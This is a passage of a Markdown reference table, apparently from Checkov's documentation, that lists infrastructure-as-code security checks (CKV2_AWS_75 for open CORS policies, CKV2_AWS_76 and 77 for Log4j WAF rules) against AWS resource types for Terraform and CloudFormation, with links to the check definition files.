                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5388 | CKV2_AWS_75              | resource                         | aws_vpn_connection_route                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5389 | CKV2_AWS_75              | resource                         | aws_vpn_gateway                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5390 | CKV2_AWS_75              | resource                         | aws_vpn_gateway                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5391 | CKV2_AWS_75              | resource                         | aws_vpn_gateway_attachment                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5392 | CKV2_AWS_75              | resource                         | aws_vpn_gateway_attachment                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5393 | CKV2_AWS_75              | resource                         | aws_vpn_gateway_route_propagation                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5394 | CKV2_AWS_75              | resource                         | aws_vpn_gateway_route_propagation                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5395 | CKV2_AWS_75              | resource                         | aws_waf_byte_match_set                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5396 | CKV2_AWS_75              | resource                         | aws_waf_byte_match_set                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5397 | CKV2_AWS_75              | resource                         | aws_waf_geo_match_set                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5398 | CKV2_AWS_75              | resource                         | aws_waf_geo_match_set                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5399 | CKV2_AWS_75              | resource                         | aws_waf_ipset                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5400 | CKV2_AWS_75              | resource                         | aws_waf_ipset                                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5401 | CKV2_AWS_75              | resource                         | aws_waf_rate_based_rule                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5402 | CKV2_AWS_75              | resource                         | aws_waf_rate_based_rule                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5403 | CKV2_AWS_75              | resource                         | aws_waf_regex_match_set                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5404 | CKV2_AWS_75              | resource                         | aws_waf_regex_match_set                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5405 | CKV2_AWS_75              | resource                         | aws_waf_regex_pattern_set                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5406 | CKV2_AWS_75              | resource                         | aws_waf_regex_pattern_set                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5407 | CKV2_AWS_75              | resource                         | aws_waf_rule                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5408 | CKV2_AWS_75              | resource                         | aws_waf_rule                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5409 | CKV2_AWS_75              | resource                         | aws_waf_rule_group                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5410 | CKV2_AWS_75              | resource                         | aws_waf_rule_group                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5411 | CKV2_AWS_75              | resource                         | aws_waf_size_constraint_set                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5412 | CKV2_AWS_75              | resource                         | aws_waf_size_constraint_set                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5413 | CKV2_AWS_75              | resource                         | aws_waf_sql_injection_match_set                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5414 | CKV2_AWS_75              | resource                         | aws_waf_sql_injection_match_set                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5415 | CKV2_AWS_75              | resource                         | aws_waf_web_acl                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5416 | CKV2_AWS_75              | resource                         | aws_waf_web_acl                                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5417 | CKV2_AWS_75              | resource                         | aws_waf_xss_match_set                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5418 | CKV2_AWS_75              | resource                         | aws_waf_xss_match_set                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5419 | CKV2_AWS_75              | resource                         | aws_wafregional_byte_match_set                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5420 | CKV2_AWS_75              | resource                         | aws_wafregional_byte_match_set                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5421 | CKV2_AWS_75              | resource                         | aws_wafregional_geo_match_set                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5422 | CKV2_AWS_75              | resource                         | aws_wafregional_geo_match_set                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5423 | CKV2_AWS_75              | resource                         | aws_wafregional_ipset                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5424 | CKV2_AWS_75              | resource                         | aws_wafregional_ipset                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5425 | CKV2_AWS_75              | resource                         | aws_wafregional_rate_based_rule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5426 | CKV2_AWS_75              | resource                         | aws_wafregional_rate_based_rule                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5427 | CKV2_AWS_75              | resource                         | aws_wafregional_regex_match_set                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5428 | CKV2_AWS_75              | resource                         | aws_wafregional_regex_match_set                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5429 | CKV2_AWS_75              | resource                         | aws_wafregional_regex_pattern_set                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5430 | CKV2_AWS_75              | resource                         | aws_wafregional_regex_pattern_set                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5431 | CKV2_AWS_75              | resource                         | aws_wafregional_rule                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5432 | CKV2_AWS_75              | resource                         | aws_wafregional_rule                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5433 | CKV2_AWS_75              | resource                         | aws_wafregional_rule_group                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5434 | CKV2_AWS_75              | resource                         | aws_wafregional_rule_group                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5435 | CKV2_AWS_75              | resource                         | aws_wafregional_size_constraint_set                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5436 | CKV2_AWS_75              | resource                         | aws_wafregional_size_constraint_set                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5437 | CKV2_AWS_75              | resource                         | aws_wafregional_sql_injection_match_set                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5438 | CKV2_AWS_75              | resource                         | aws_wafregional_sql_injection_match_set                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5439 | CKV2_AWS_75              | resource                         | aws_wafregional_web_acl                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5440 | CKV2_AWS_75              | resource                         | aws_wafregional_web_acl                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5441 | CKV2_AWS_75              | resource                         | aws_wafregional_web_acl_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5442 | CKV2_AWS_75              | resource                         | aws_wafregional_web_acl_association                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5443 | CKV2_AWS_75              | resource                         | aws_wafregional_xss_match_set                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5444 | CKV2_AWS_75              | resource                         | aws_wafregional_xss_match_set                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5445 | CKV2_AWS_75              | resource                         | aws_wafv2_ip_set                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5446 | CKV2_AWS_75              | resource                         | aws_wafv2_ip_set                                                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5447 | CKV2_AWS_75              | resource                         | aws_wafv2_regex_pattern_set                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5448 | CKV2_AWS_75              | resource                         | aws_wafv2_regex_pattern_set                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5449 | CKV2_AWS_75              | resource                         | aws_wafv2_rule_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5450 | CKV2_AWS_75              | resource                         | aws_wafv2_rule_group                                                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5451 | CKV2_AWS_75              | resource                         | aws_wafv2_web_acl                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5452 | CKV2_AWS_75              | resource                         | aws_wafv2_web_acl                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5453 | CKV2_AWS_75              | resource                         | aws_wafv2_web_acl_association                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5454 | CKV2_AWS_75              | resource                         | aws_wafv2_web_acl_association                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5455 | CKV2_AWS_75              | resource                         | aws_wafv2_web_acl_logging_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5456 | CKV2_AWS_75              | resource                         | aws_wafv2_web_acl_logging_configuration                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5457 | CKV2_AWS_75              | resource                         | aws_worklink_fleet                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5458 | CKV2_AWS_75              | resource                         | aws_worklink_fleet                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5459 | CKV2_AWS_75              | resource                         | aws_worklink_website_certificate_authority_association                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5460 | CKV2_AWS_75              | resource                         | aws_worklink_website_certificate_authority_association                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5461 | CKV2_AWS_75              | resource                         | aws_workspaces_connection_alias                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5462 | CKV2_AWS_75              | resource                         | aws_workspaces_connection_alias                                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5463 | CKV2_AWS_75              | resource                         | aws_workspaces_directory                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5464 | CKV2_AWS_75              | resource                         | aws_workspaces_directory                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5465 | CKV2_AWS_75              | resource                         | aws_workspaces_ip_group                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5466 | CKV2_AWS_75              | resource                         | aws_workspaces_ip_group                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5467 | CKV2_AWS_75              | resource                         | aws_workspaces_workspace                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5468 | CKV2_AWS_75              | resource                         | aws_workspaces_workspace                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5469 | CKV2_AWS_75              | resource                         | aws_xray_encryption_config                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5470 | CKV2_AWS_75              | resource                         | aws_xray_encryption_config                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5471 | CKV2_AWS_75              | resource                         | aws_xray_group                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5472 | CKV2_AWS_75              | resource                         | aws_xray_group                                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5473 | CKV2_AWS_75              | resource                         | aws_xray_sampling_rule                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 5474 | CKV2_AWS_75              | resource                         | aws_xray_sampling_rule                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 5475 | CKV2_AWS_76              | resource                         | aws_alb                                                                                          | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                      | Terraform               | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml)                                     |\n| 5476 | CKV2_AWS_76              | resource                         | aws_lb                                                                                           | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                      | Terraform               | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml)                                     |\n| 5477 | CKV2_AWS_76              | resource                         | aws_wafv2_web_acl                                                                                | Ensure AWS ALB attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                                      | Terraform               | [ALBWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/ALBWebACLConfiguredWIthLog4jVulnerability.yaml)                                     |\n| 5478 | CKV2_AWS_77              | resource                         | aws_api_gateway_stage                                                                            | Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability                                                                                                     | Terraform               | [APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml)                       |\n| 5479 | CKV2_AWS_77              | resource                         | aws_apigatewayv2_api                                                                             | 